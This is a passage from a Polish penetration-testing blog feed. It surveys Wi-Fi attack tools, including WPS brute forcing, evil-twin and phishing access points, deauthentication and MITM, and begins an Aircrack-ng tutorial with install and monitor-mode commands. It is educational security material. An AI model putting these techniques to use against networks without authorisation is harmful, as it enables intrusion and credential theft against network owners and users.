<p class="wp-block-paragraph">Więcej o Aircrack-ng znajdziesz w innym moim poradniku: <strong><a href="https://pentestuj.pl/aircrack-ng-narzedzie-do-testowania-bezpieczenstwa-sieci-wifi/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="wp-block-paragraph">Link do dokumentacji: <strong><a href="https://www.aircrack-ng.org/documentation.html" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-36 wp-block-paragraph">Aircrack-ng jest domyślnie zainstalowany w Kali Linux.</p>



<h2 class="wp-block-heading">Reaver</h2>



<p class="wp-block-paragraph">Reaver atakuje sieci WPA/WPA2 poprzez wykorzystanie luki w WPS (Wi-Fi Protected Setup). Odgadniecie PIN-u do danej sieci odbywa się poprzez atak brute force. Reaver po uzyskaniu PIN-u ma też dostęp do konfiguracji sieci oraz do klucza WPA/WPA2.</p>



<p class="wp-block-paragraph">Dla przypomnienia WPS jest to protokół używany do dodawania nowych urządzeń do sieci bezprzewodowej bez wprowadzania hasła. Wiele osób jest świadomych, że WPS ma luki bezpieczeństwa i celowo wyłącza tą funkcjonalność. Jednak do dzisiaj niektóre sieci nadal mają aktywną obsługę WPS.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/reaver-hakowanie-hasel-wifi.png"><img loading="lazy" decoding="async" width="833" height="360" src="https://pentestuj.pl/wp-content/uploads/2024/11/reaver-hakowanie-hasel-wifi.png" alt="aircrack-ng cracker haseł WiFi" class="wp-image-15243" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/reaver-hakowanie-hasel-wifi.png 833w, https://pentestuj.pl/wp-content/uploads/2024/11/reaver-hakowanie-hasel-wifi-300x130.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/reaver-hakowanie-hasel-wifi-768x332.png 768w" sizes="auto, (max-width: 833px) 100vw, 833px" data-mwl-img-id="15243" /></a></figure>



<p class="wp-block-paragraph">Reaver będzie bardzo przydatny do badania bezpieczeństwa sieci tylko jeśli jest włączona obsługa WPS. </p>



<p class="wp-block-paragraph">Link do Github: <strong><a href="https://github.com/t6x/reaver-wps-fork-t6x" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-37 wp-block-paragraph">Reaver jest domyślnie zainstalowany w Kali Linux.</p>



<h2 class="wp-block-heading">Wifite</h2>



<p class="wp-block-paragraph">Wifite jest narzędziem, które ułatwia i automatyzuje atak na sieci WiFi. Pod maską używa Aircrack-ng, Pyrit, Reaver, Tshark. Wifite obsługuje różne ataki na WEP i WPA. Warto dodać, że narzędzie to jest proste i wygodne w obsłudze.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/hackowanie-hasel-wifi-wifite.png"><img loading="lazy" decoding="async" width="650" height="474" src="https://pentestuj.pl/wp-content/uploads/2024/11/hackowanie-hasel-wifi-wifite.png" alt="Wifite - haskowanie haseł WiFi" class="wp-image-15244" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/hackowanie-hasel-wifi-wifite.png 650w, https://pentestuj.pl/wp-content/uploads/2024/11/hackowanie-hasel-wifi-wifite-300x219.png 300w" sizes="auto, (max-width: 650px) 100vw, 650px" data-mwl-img-id="15244" /></a></figure>



<p class="wp-block-paragraph">Więcej o Wifite przeczytasz w osobnym artykule: <strong><a href="https://pentestuj.pl/wifite-hackowanie-sieci-wifi-krok-po-kroku/" target="_blank" rel="noreferrer noopener">KLIK!</a></strong></p>



<p class="wp-block-paragraph">Link do Github: <strong><a href="https://github.com/kimocoder/wifite2" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-38 wp-block-paragraph">Wifite jest domyślnie zainstalowany w Kali Linux.</p>



<h2 class="wp-block-heading">Fern Wifi Cracker</h2>



<p class="wp-block-paragraph">Fern Wifi Cracker jest to narzędzie przeznaczone do testowania zabezpieczeń sieci bezprzewodowych, w tym analizy i łamania haseł Wi-Fi. Przy jego użyciu można wykradać ciasteczka oraz przeprowadzać siłowe ataki na panele administracyjne routerów. Narzędzie wspiera również ataki na sieci Wi-Fi zabezpieczone WPS, wykorzystując znane luki w zabezpieczeniach tego protokołu. Fern WiFi Cracker automatycznie wykrywa urządzenia będące w zasięgu naszej karty sieciowej, identyfikuje typy zabezpieczeń i sugeruje odpowiednie ataki.</p>



<p class="wp-block-paragraph">Jego dużą zaletą jest prosty w obsłudze interfejs graficzny (GUI). Za jego pomocą możemy przeprowadzać audyt sieci WEP, WPA i WPA2.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/fern-wifi-cracker.webp"><img loading="lazy" decoding="async" width="1024" height="519" src="https://pentestuj.pl/wp-content/uploads/2024/11/fern-wifi-cracker-1024x519.webp" alt="Fern Wifi Cracker" class="wp-image-15245" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/fern-wifi-cracker-1024x519.webp 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/fern-wifi-cracker-300x152.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/fern-wifi-cracker-768x390.webp 768w, https://pentestuj.pl/wp-content/uploads/2024/11/fern-wifi-cracker-1536x779.webp 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/fern-wifi-cracker.webp 1920w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15245" /></a></figure>



<p class="wp-block-paragraph">Link do Github: <strong><a href="https://github.com/savio-code/fern-wifi-cracker" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-39 wp-block-paragraph">Fern jest domyślnie zainstalowany w Kali Linux.</p>



<h2 class="wp-block-heading">Airgeddon</h2>



<p class="wp-block-paragraph">Airgeddon to otwartoźródłowy, wielofunkcyjny skrypt bash, stworzony dla profesjonalistów zajmujących się bezpieczeństwem sieci Wi-Fi. Integruje różne narzędzia (np. Aircrack-ng, Reaver i Hashcat), dzięki czemu za jego pomocą można wykonywać różnego typu ataki.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-airgeddon.png"><img loading="lazy" decoding="async" width="653" height="389" src="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-airgeddon.png" alt="Kali Linux Airgeddon" class="wp-image-15246" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-airgeddon.png 653w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-airgeddon-300x179.png 300w" sizes="auto, (max-width: 653px) 100vw, 653px" data-mwl-img-id="15246" /></a></figure>



<p class="wp-block-paragraph">Airgeddon pozwala pentesterom oceniać bezpieczeństwo sieci bezprzewodowych poprzez wykonywanie zadań takich jak monitorowanie, przechwytywanie pakietów i analiza sieci. Za pomocą Airgeddon możemy wykonać atak Evil Twin, deautoryzację, a także możemy przechwycić handshake WPA/WPA2. Airgeddon pomocny jest także podczas łamania zabezpieczeń WPS.</p>



<p class="wp-block-paragraph">Link do Github: <a href="https://github.com/v1s1t0r1sh3r3/airgeddon" target="_blank" rel="noreferrer noopener nofollow"><strong>KLIK!</strong></a></p>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-40 wp-block-paragraph">Komenda instalacji Airgeddon: sudo apt install airgeddon</p>



<h2 class="wp-block-heading">Hashcat</h2>



<p class="wp-block-paragraph">Jest to zaawansowane narzędzie do łamania haseł, które jest uważane za jedno z najszybszych i najbardziej wszechstronnych dostępnych narzędzi tego typu. Hashcat jest kompatybilny z różnymi systemami operacyjnymi, w tym Windows, Linux i MacOS. Narzędzie to wykorzystuje moc obliczeniową procesorów (CPU) i kart graficznych (GPU), co znacznie przyspiesza proces łamania haseł. Hashcat obsługuje szeroką gamę algorytmów hashujących, dzięki temu może łamać hasła zapisane w różnych formatach. Dużą zaletą Hashcata jest obszerna dokumentacja. Za pomocą Hashcat jeteśmy w stanie złamać handshake WPA/WPA2.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-hashcat.webp"><img loading="lazy" decoding="async" width="658" height="523" src="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-hashcat.webp" alt="Hashcat Kali Linux" class="wp-image-15247" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-hashcat.webp 658w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-hashcat-300x238.webp 300w" sizes="auto, (max-width: 658px) 100vw, 658px" data-mwl-img-id="15247" /></a></figure>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-41 wp-block-paragraph">Hashcat jest domyślnie zainstalowany w Kali Linux.</p>



<h2 class="wp-block-heading">Kismet</h2>



<p class="wp-block-paragraph">Kismet potrafi wykrywać i identyfikować sieci Wi-Fi (802.11a/b/g/n/ac/ax) oraz inne typy sieci bezprzewodowych, takie jak Bluetooth, DECT, SDR (Software Defined Radio) i inne. Narzędzie to działa w trybie pasywnym, co oznacza, że nie wysyła żadnych pakietów do sieci. Kismet działa na różnych systemach operacyjnych, w tym Linux, MacOS i Windows (poprzez WSL). Jest również kompatybilny z różnymi urządzeniami, takimi jak Raspberry Pi. Kismet może współpracować z innymi narzędziami do analizy i testowania sieci, takimi jak Wireshark, co umożliwia bardziej zaawansowane ataki. Dużą zaletą jest to, że oferuje interfejs webowy, który umożliwia zdalne monitorowanie i zarządzanie sesjami z dowolnego urządzenia z poziomu przeglądarki internetowej.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/kismet-kali-linux.png"><img loading="lazy" decoding="async" width="598" height="688" src="https://pentestuj.pl/wp-content/uploads/2024/11/kismet-kali-linux.png" alt="Kismet" class="wp-image-15248" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/kismet-kali-linux.png 598w, https://pentestuj.pl/wp-content/uploads/2024/11/kismet-kali-linux-261x300.png 261w" sizes="auto, (max-width: 598px) 100vw, 598px" data-mwl-img-id="15248" /></a></figure>



<p class="wp-block-paragraph">Link do strony domowej: <strong><a href="https://kismetwireless.net/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-42 wp-block-paragraph">Kismet jest domyślnie zainstalowany w Kali Linux.</p>



<h2 class="wp-block-heading">Wifiphisher</h2>



<p class="wp-block-paragraph">Głównym celem Wifiphishera jest przeprowadzanie ataków socjotechnicznych, które polegają na oszukiwaniu użytkowników w celu ujawnienia ich danych uwierzytelniających. Za pomocą narzędzia można tworzyć fałszywe punkty dostępowe, które imitują prawdziwe sieci Wi-Fi. Użytkownicy łączący się z takim punktem dostępowym mogą zostać przekierowani na fałszywe strony logowania. Za pomocą Wifiphishera możemy także przeprowadzać ataki deautoryzacyjne (deauthentication), które rozłączają użytkowników z ich aktualnymi sieciami Wi-Fi, zmuszając ich do ponownego połączenia się z naszym fałszywym punktem dostępowym. Narzędzie oferuje różne szablony ataków, które można dostosować do specyficznych scenariuszy. Na przykład, można skonfigurować szablon, który prosi użytkowników o podanie hasła do sieci Wi-Fi pod pretekstem aktualizacji oprogramowania. Narzędzie oferuje prosty interfejs wiersza poleceń, który prowadzi użytkownika przez cały proces konfiguracji i przeprowadzania ataku.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/wifiphister-kali-linux-1.webp"><img loading="lazy" decoding="async" width="867" height="550" src="https://pentestuj.pl/wp-content/uploads/2024/11/wifiphister-kali-linux-1.webp" alt="wifiphisher kali linux" class="wp-image-15249" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/wifiphister-kali-linux-1.webp 867w, https://pentestuj.pl/wp-content/uploads/2024/11/wifiphister-kali-linux-1-300x190.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/wifiphister-kali-linux-1-768x487.webp 768w" sizes="auto, (max-width: 867px) 100vw, 867px" data-mwl-img-id="15249" /></a></figure>



<p class="wp-block-paragraph">Link do strony domowej: <strong><a href="https://wifiphisher.org/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-43 wp-block-paragraph">Komenda instalacji Wifiphisher: sudo apt install wifiphisher</p>



<h2 class="wp-block-heading">Bettercap</h2>



<p class="wp-block-paragraph">Bettercap to zaawansowane narzędzie do przeprowadzania ataków na sieci, analizy bezpieczeństwa i testowania penetracyjnego. Jest to następca znanego narzędzia Ettercap i oferuje szeroki zakres funkcji do analizy sieci i przeprowadzania ataków typu man-in-the-middle (MITM). Narzędzie oferuje interfejs wiersza poleceń oraz interfejs webowy, co ułatwia jego użycie zarówno dla początkujących, jak i zaawansowanych użytkowników. Bettercap obsługuje szeroką gamę protokołów sieciowych, co czyni go wszechstronnym narzędziem do analizy i ataków na różne typy sieci.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/bettercap-kali-linux.png"><img loading="lazy" decoding="async" width="638" height="257" src="https://pentestuj.pl/wp-content/uploads/2024/11/bettercap-kali-linux.png" alt="Bettercap Kali Linux" class="wp-image-15250" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/bettercap-kali-linux.png 638w, https://pentestuj.pl/wp-content/uploads/2024/11/bettercap-kali-linux-300x121.png 300w" sizes="auto, (max-width: 638px) 100vw, 638px" data-mwl-img-id="15250" /></a></figure>



<p class="wp-block-paragraph">Link do strony domowej: <strong><a href="https://www.bettercap.org" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-44 wp-block-paragraph">Bettercap jest domyślnie zainstalowany w Kali Linux.</p>



<h2 class="wp-block-heading">WiFipumpkin3</h2>



<p class="wp-block-paragraph">WiFipumpkin3 umożliwia tworzenie fałszywych punktów dostępowych. Za pomoca tego narzędzia możemy przeprowadzać różne ataki typu man-in-the-middle. Pozwala to przechwytywać i modyfikować ruchu sieciowy między ofiarą a punktem dostępowym. WiFipumpkin3 oferuje szablony stron phishingowych, które mogą być używane do przechwytywania danych uwierzytelniających użytkowników, takich jak hasła do sieci Wi-Fi lub innych kont. </p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/06/wifipumpkin3-kali-linux.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/06/wifipumpkin3-kali-linux.png" alt="WiFipumpkin3 kali linux" class="wp-image-524" data-mwl-img-id="524"/></a></figure>



<p class="wp-block-paragraph">Link do dokumentacji: <strong><a href="https://wifipumpkin3.github.io/docs/getting-started" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="text-box has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-45 wp-block-paragraph">Komenda instalacji Wifipumpkin3: sudo apt install wifipumpkin3</p>
<p>Artykuł <a href="https://pentestuj.pl/narzedzia-do-hackowania-sieci-wifi/">Narzędzia do hackowania sieci Wi-Fi</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/narzedzia-do-hackowania-sieci-wifi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Aircrack-ng – narzędzie do testowania bezpieczeństwa sieci WiFi</title>
		<link>https://pentestuj.pl/aircrack-ng-narzedzie-do-testowania-bezpieczenstwa-sieci-wifi/</link>
					<comments>https://pentestuj.pl/aircrack-ng-narzedzie-do-testowania-bezpieczenstwa-sieci-wifi/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 10 Jan 2025 07:00:30 +0000</pubDate>
				<category><![CDATA[Bezpieczeństwo Wi-Fi]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15266</guid>

					<description><![CDATA[<p>Sieć WiFi stała się nieodłącznym elementem naszego codziennego życia. Od domów po biura, od kawiarni po lotniska, od smartfonów po inteligentne urządzenia domowe &#8211; sieci bezprzewodowe są wszechobecne i pełnią kluczową rolę w zapewnianiu nam łatwiejszego dostępu do Internetu. Wraz z rozpowszechnieniem się WiFi pojawił się poważny problem z bezpieczeństwem. Niestety nadal wiele osób popełnia [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/aircrack-ng-narzedzie-do-testowania-bezpieczenstwa-sieci-wifi/">Aircrack-ng – narzędzie do testowania bezpieczeństwa sieci WiFi</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Sieć WiFi stała się nieodłącznym elementem naszego codziennego życia. Od domów po biura, od kawiarni po lotniska, od smartfonów po inteligentne urządzenia domowe &#8211; sieci bezprzewodowe są wszechobecne i pełnią kluczową rolę w zapewnianiu nam łatwiejszego dostępu do Internetu. Wraz z rozpowszechnieniem się WiFi pojawił się poważny problem z bezpieczeństwem. Niestety nadal wiele osób popełnia błędy podczas konfiguracji swojej sieci, przez co bardzo łatwo jest przełamać zabezpieczenia. W poradniku tym przyjrzymy się narzędziu Aircrack-ng, które służy do testowania zabezpieczeń sieci WiFi. Warto wspomnieć o tym, że Aircrack-ng jest pakietem kliku bardzo przydatnych komponentów, za pomocą których praca testera bezpieczeństwa jest znacznie szybsza i bardziej efektywna.</p>



<h2 class="wp-block-heading">Aircrack-ng – wszechstronne narzędzie do testowania bezpieczeństwa sieci WiFi</h2>



<p class="wp-block-paragraph">Aircrack-ng stanowi kompleksowy zestaw narzędzi przeznaczonych do testowania zabezpieczeń sieci WiFi. Za jego pomocą można m.in. przechwytywać handshake i łamać klucze zabezpieczeń sieciowych WEP/WPA/WPA2, tworzyć fałszywe punkty dostępowe, przechwytywać i analizować ruch sieciowy, a także przeprowadzać inne, bardziej złożone ataki. Dzięki Aircrack-ng można ocenić stan bezpieczeństwa danej sieci bezprzewodowej oraz namierzyć luki w zabezpieczeniach.</p>



<p class="wp-block-paragraph">Aircrack-ng stanowi pakiet narzędzi. Każde narzędzie ma określony cel i może być używane solo lub w połączeniu z innymi narzędziami dostępnymi w pakiecie do wykonywania szerokiego zakresu zadań związanych z bezpieczeństwem sieci bezprzewodowej. Aircrack-ng jest preinstalowany w systemie Kali Linux, a także w Parrot Security OS, dzięki czemu jest łatwo dostępny zarówno dla specjalistów ds. bezpieczeństwa, jak i etycznych hakerów. Narzędzie Aircrack-ng może być używane zarówno na Windowsie, MacOS jak i Linuxie. W poradniku tym pokażę jak zainstalować go i używać na Linuxie.</p>



<p class="wp-block-paragraph">Tu znajdziesz oficjalną stronę Aircrack-ng: <strong><a href="https://www.aircrack-ng.org/doku.php?id=install_aircrack#installing_aircrack-ng_from_source" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a> </strong> Na stronie znajduje się pełna dokumentacja w języku angielskim.</p>



<p class="wp-block-paragraph">Żeby móc w pełni korzystać z Aircrack-ng potrzebujesz:</p>



<ul class="wp-block-list">
<li>Karty sieciowej która jest zdolna do pracy w trybie monitor oraz do wstrzykiwania pakietów (ja korzystam z TP-LINK TL-WN722N oraz ALFA NETWORK AWUS036AXML). Jeśli nie masz jeszcze karty, przeczytaj ten poradnik: <a href="https://pentestuj.pl/karta-sieciowa-dla-pentestera/" target="_blank" rel="noreferrer noopener"><strong>KLIK!</strong></a></li>



<li>Odpowiedniej mocy obliczeniowej sprzętu. Jeśli masz zainstalowany system Linux na wirtualnej maszynie (np. Kali Linux lub Parrot Security OS) sprawdź, czy możesz zwiększyć ilość pamięci RAM oraz rdzeni CPU.</li>



<li>Odpowiedniej ilości miejsca na dysku.</li>
</ul>



<h2 class="wp-block-heading">Dostępne narzędzia w Aircrack-ng</h2>



<p class="wp-block-paragraph">Aircrack-ng stanowi pakiet narzędzi. Oczywiście lista dostępnych komponentów jest znacznie dłuższa. Jednak w poradniku tym skupię się na najczęściej używanych narzędziach. Poniżej ich lista z krótkim opisem funkcjonalności:</p>



<ul class="wp-block-list">
<li><a href="https://www.aircrack-ng.org/doku.php?id=airmon-ng" target="_blank" rel="noreferrer noopener nofollow"><strong>Airmon-ng</strong></a> – umożliwia przełączenie karty sieciowej w tryb monitorowania. Tryb ten pozwala nasłuchiwać całą otaczającą nas transmisję. W trybie monitor nasza karta sieciowa odbiera wszystkie ramki, które do niej docierają. Pakiet Airmon-ng będzie przez nas używany w każdym ataku sieciowym. Pamiętaj jednak, że nie każdą kartę sieciową można przełączyć w tryb monitor.</li>



<li><a href="https://www.aircrack-ng.org/doku.php?id=airodump-ng" target="_blank" rel="noreferrer noopener nofollow"><strong>Airodump-ng</strong></a> – służy do przechwytywania pakietów, które krążą w sieci. Jest to bardzo często pośredni etap podczas przeprowadzania większości ataków sieciowych.</li>



<li><a href="https://www.aircrack-ng.org/doku.php?id=aireplay-ng" target="_blank" rel="noreferrer noopener nofollow"><strong>Aireplay-ng</strong></a> – służy do wstrzykiwania pakietów.</li>



<li><a href="https://www.aircrack-ng.org/doku.php?id=aircrack-ng" target="_blank" rel="noreferrer noopener nofollow"><strong>Aircrack-ng</strong></a> – jest to podstawowe, flagowe narzędzie omawianego pakietu. Umożliwia łamanie kluczy WPA i WPA2 metodą słownikową. Oczywiście uprzednio należy przechwycić tzw. handshake (jest to wymiana informacji pomiędzy urządzeniem a punktem dostępowym, celem nawiązania połączenia pomiędzy nimi). Za jego pomocą można również łamać klucze WEP. Jednak ten klucz zabezpieczeń sieciowych obecnie jest bardzo rzadko używany z uwagi na liczne luki.</li>



<li><a href="https://www.aircrack-ng.org/doku.php?id=airbase-ng" target="_blank" rel="noreferrer noopener nofollow"><strong>Airbase-ng</strong></a> – umożliwia przekształcenie naszej karty sieciowej w punkt dostępowy (Access Point). Może to być szczególnie przydatne podczas przeprowadzania ataków typu man-in-the-middle. Dzięki temu możliwe jest przeprowadzanie ataków bezpośrednio na samych klientach, a nie ich puntach dostępowych. Za pomocą Airbase-ng możemy wykonać atak evil twin lub fake access point.</li>



<li><strong><a href="https://www.aircrack-ng.org/doku.php?id=airgraph-ng" target="_blank" rel="noreferrer noopener nofollow">Airgraph-ng</a></strong> – służy do przedstawienia w formie graficznej badanych sieci bezprzewodowych i powiązanych z nimi klientów.</li>
</ul>



<h2 class="wp-block-heading">Instalacja Aircrack-ng w systemie Linux</h2>



<p class="wp-block-paragraph">Możesz używać Aircrack-ng na dowolnej dystrybucji Linuxa. Zachęcam Cię do przetestowania Kali Linux lub Parrot OS Security. Są to specjalne dystrybucje Linuxa dla etycznych hakerów. Charakteryzują się tym, że na start mamy zainstalowane niektóre narzędzia, które są potrzebne do testowania zabezpieczeń. Oczywiście pakiet Aircrack-ng też jest domyślnie zainstalowany.</p>



<p class="wp-block-paragraph">W tym miejscu pobierzesz Parrot Security OS: <a href="https://parrotsec.org/" target="_blank" rel="noreferrer noopener nofollow"><strong>KLIK!</strong></a> </p>



<p class="wp-block-paragraph">Tu pobierzesz Kali Linux: <a href="https://www.kali.org/" target="_blank" rel="noreferrer noopener nofollow"><strong>KLIK!</strong></a></p>



<p class="wp-block-paragraph">Zachęcam Cię do instalacji wybranego sytemu operacyjnego na maszynie wirtualnej Oracle VM VirtualBox: <strong><a href="https://www.virtualbox.org/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></strong></p>



<p class="wp-block-paragraph">Jeśli jednak chcesz pracować na innej dystrybucji np. Linux Mint czy Ubuntu, to też jest to możliwe. Po prostu narzędzia do testowania zabezpieczeń będziesz musiał samodzielnie zainstalować.&nbsp;</p>



<p class="wp-block-paragraph">Jeśli chcesz sprawdzić, czy masz u siebie zainstalowany pakiet Aircrack-ng, wpisz w terminalu:</p>



<pre class="wp-block-code"><code class=""><code>sudo aircrack-ng</code></code></pre>



<p class="wp-block-paragraph">Komenda instalacji Aircrack-ng:</p>



<pre class="wp-block-code"><code class=""><code>sudo apt install aircrack-ng</code></code></pre>



<h2 class="wp-block-heading">Airmon-ng</h2>



<p class="wp-block-paragraph">Jest to bardzo ważne narzędzie w pakiecie Aircrack-ng. Służy do przełączania karty sieciowej w tryb monitorowania. Tryb ten umożliwia karcie bezprzewodowej nasłuchiwanie całego ruchu WiFi, który znajduje się w jej zasięgu. Oczywiście zasięg zależy od anteny. Dodatkowo za pomocą Airmon-ng możemy wyłączyć procesy, które zakłócają pracę naszej karty będącej w trybie monitorowania. Po zakończonych testach penetracyjnych, za pomocą Airmon-ng możemy także przywrócić standardowy tryb pracy karty sieciowej. &nbsp;</p>



<p class="wp-block-paragraph">Z Airmon-ng będziesz korzystać na początku każdego audytu sieci bezprzewodowej lub testów penetracyjnych. Stanowi on podstawę do korzystania z innych narzędzi z pakietu Aircrack-ng, takich jak Airodump-ng, Aireplay-ng czy Aircrack-ng.</p>



<p class="wp-block-paragraph">Dla przypomnienia karta sieciowa może pracować w dwóch trybach:</p>



<ul class="wp-block-list">
<li><strong>Managed Mode</strong> – jest to standardowy tryb w którym karta odbiera tylko i wyłącznie pakiety skierowane na jeden konkretny adres MAC. W tym trybie możemy korzystać z Internetu.</li>



<li><strong>Monitor Mode</strong> – w tym trybie karta sieciowa jest w stanie odbierać wszystkie pakiety, które znajdują się w jej zasięgu, nawet jeśli nie są one adresowane do adresu MAC naszego urządzenia. Nie każda karta wspiera ten tryb.</li>
</ul>



<p class="wp-block-paragraph">Poniżej znajdziesz podstawowe komendy, za pomocą których przełączysz swoją kartę sieciową w tryb monitorowania.</p>



<p class="wp-block-paragraph">Najpierw należy sprawdzić, czy są uruchomione procesy, które zakłócają działanie naszej karty:</p>



<pre class="wp-block-code"><code class="">sudo airmon-ng check</code></pre>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/tryb-monitor-mode-airmon-ng.webp"><img loading="lazy" decoding="async" width="651" height="272" src="https://pentestuj.pl/wp-content/uploads/2024/11/tryb-monitor-mode-airmon-ng.webp" alt="Tryb monitor mode airmon-ng" class="wp-image-15267" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/tryb-monitor-mode-airmon-ng.webp 651w, https://pentestuj.pl/wp-content/uploads/2024/11/tryb-monitor-mode-airmon-ng-300x125.webp 300w" sizes="auto, (max-width: 651px) 100vw, 651px" data-mwl-img-id="15267" /></a></figure>



<p class="wp-block-paragraph">Na powyższym zrzucie widzimy, że został znaleziony jeden proces. Wyłączymy go za pomocą poniższej komendy:</p>



<pre class="wp-block-code"><code class="">sudo airmon-ng check kill</code></pre>



<p class="wp-block-paragraph">Teraz należy sprawdzić jak nazywa się interfejs naszej karty sieciowej:</p>



<pre class="wp-block-code"><code class="">sudo iwconfig</code></pre>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/tryb-monitor-mode-airmon-ng-2.webp"><img loading="lazy" decoding="async" width="646" height="279" src="https://pentestuj.pl/wp-content/uploads/2024/11/tryb-monitor-mode-airmon-ng-2.webp" alt="Tryb monitor mode airmon-ng" class="wp-image-15268" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/tryb-monitor-mode-airmon-ng-2.webp 646w, https://pentestuj.pl/wp-content/uploads/2024/11/tryb-monitor-mode-airmon-ng-2-300x130.webp 300w" sizes="auto, (max-width: 646px) 100vw, 646px" data-mwl-img-id="15268" /></a></figure>



<p class="wp-block-paragraph">Interfejs mojej karty sieciowej nazywa się wlan0.</p>



<p class="wp-block-paragraph">Teraz już mogę włączyć tryb monitor:</p>



<pre class="wp-block-code"><code class="">sudo airmon-ng start &lt;interface name&gt;</code></pre>



<ul class="wp-block-list">
<li><strong>&lt;interface name&gt;</strong> &#8211; nazwa interfejsu Twojej karty sieciowej którą chcesz przełączyć w tryb monitorowania. U mnie interfejs nazywa się wlan0.</li>
</ul>



<p class="wp-block-paragraph">Ponownie wydajmy komendę iwconfig, żeby sprawdzić status naszej karty. Na poniższym zrzucie widzimy, że karta pracuje już w trybie monitor: (Mode:Monitor).</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/jak-wlaczyc-tryb-monitor.webp"><img loading="lazy" decoding="async" width="649" height="168" src="https://pentestuj.pl/wp-content/uploads/2024/11/jak-wlaczyc-tryb-monitor.webp" alt="jak włączyć tryb monitor" class="wp-image-15269" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/jak-wlaczyc-tryb-monitor.webp 649w, https://pentestuj.pl/wp-content/uploads/2024/11/jak-wlaczyc-tryb-monitor-300x78.webp 300w" sizes="auto, (max-width: 649px) 100vw, 649px" data-mwl-img-id="15269" /></a></figure>



<p class="wp-block-paragraph">W każdej chwili możemy wyłączyć tryb monitor i przejść do standardowego trybu pracy.</p>



<p class="wp-block-paragraph">Wyłączenie trybu monitor:</p>



<pre class="wp-block-code"><code class="">sudo airmon-ng stop &lt;interface name&gt;</code></pre>



<ul class="wp-block-list">
<li><strong>&lt;interface name&gt; </strong>&#8211; nazwa interfejsu karty sieciowej, w której chcesz wyłączyć tryb monitorowania (w moim przypadku jest to „wlan0mon”).</li>
</ul>



<p class="wp-block-paragraph">Dodatkowo należy włączyć managera sieci. Trzeba to robić każdorazowo do wyłączeniu trybu monitora:</p>



<pre class="wp-block-code"><code class="">sudo service network-manager restart</code></pre>



